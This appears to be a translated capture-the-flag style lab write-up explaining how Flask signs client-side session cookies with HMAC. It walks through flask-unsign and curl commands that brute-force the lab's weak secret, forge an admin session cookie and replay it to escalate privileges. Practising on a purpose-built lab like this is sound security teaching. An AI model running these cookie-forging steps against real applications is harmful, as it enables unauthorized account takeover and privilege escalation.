Flask会话安全漏洞与HMAC密钥破解实战

本文详细分析了Python Flask默认会话管理器的安全机制,通过Cracked Flask实验演示如何破解HMAC密钥并提升权限,包含完整的Flask Unsign工具使用指南和实战命令。

Cracked Flask Lab

与我的所有实验一样,这个实验始于一次测试。该应用使用Python Flask编写,并采用了其默认的会话管理器。

该会话管理器将所有会话信息存储在客户端,因此不仅可以看到存储了哪些关于你的信息,还存在修改它的可能性——唯一的小问题是它受到HMAC的保护。

令牌的格式类似于JWT,但顺序如下:

base64(JSON会话数据) . 编码时间戳 . HMAC

以下是一个示例:

1
eyJoZWxsbyI6IndvcmxkMiIsInVzZXJuYW1lIjoiYWRtaW4ifQ.YbDIxQ.lvkY_D2TEqYp17FdMdgDLOaQNaA

此处的会话数据解码为:

1
2
3
4
{
  "hello": "world",
  "username": "robin"
}

生成HMAC需要一个密钥,如果你能够恢复或破解这个密钥,那么你就可以对会话信息进行任意修改。在我测试的应用中,这将允许我将权限从普通用户提升到管理员。

为了避免对客户站点进行大量测试来了解这一切如何工作,更重要的是如何破解密钥,我构建了Cracked Flask实验室。

该实验室非常简单,当你首次查看页面时,它会设置一个包含上述相同信息的会话cookie。要将你的权限提升为管理员,只需将用户名更改为"admin"。

有很多工具可以帮助完成这个挑战,但我最终选择的是Flask Unsign。它非常易于使用,并且能够非常快速地进行暴力破解密钥。

我包含了一个关于如何使用Flask Unsign破解实验室密钥然后更新它的详细步骤,但请先尝试自己解决。

访问Cracked Flask Lab或查看GitHub仓库

操作步骤

获取cookie并查看其内容:

1
flask-unsign --decode --server https://crackedflask.digi.ninja/user

尝试破解它:

1
flask-unsign --unsign --server https://crackedflask.digi.ninja/user

破解成功并获得密钥"monkey",现在创建一个包含用户名admin而不是robin的新cookie:

1
flask-unsign --sign --secret monkey --cookie "{'hello': 'world2', 'username': 'admin'}"

最后,使用新cookie发出请求:

1
curl --cookie "session=eyJoZWxsbyI6IndvcmxkMiIsInVzZXJuYW1lIjoiYWRtaW4ifQ.YbCXpA.45th8HQUFJO6GHycU_fMkPQ31qc" https://crackedflask.digi.ninja/user

如果你想合并最后两个命令:

1
2
COOKIE=`flask-unsign --sign --secret monkey --cookie "{'hello': 'world2', 'username': 'admin'}"`
curl --cookie "session=$COOKIE" https://crackedflask.digi.ninja/user

或者你可以将签名命令直接放入curl命令中使用反引号。如果尝试这样做,请注意引号:

1
curl --cookie "session=`flask-unsign --sign --secret monkey --cookie \"{'hello': 'world2', 'username': 'admin'}\"`" https://crackedflask.digi.ninja/user
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计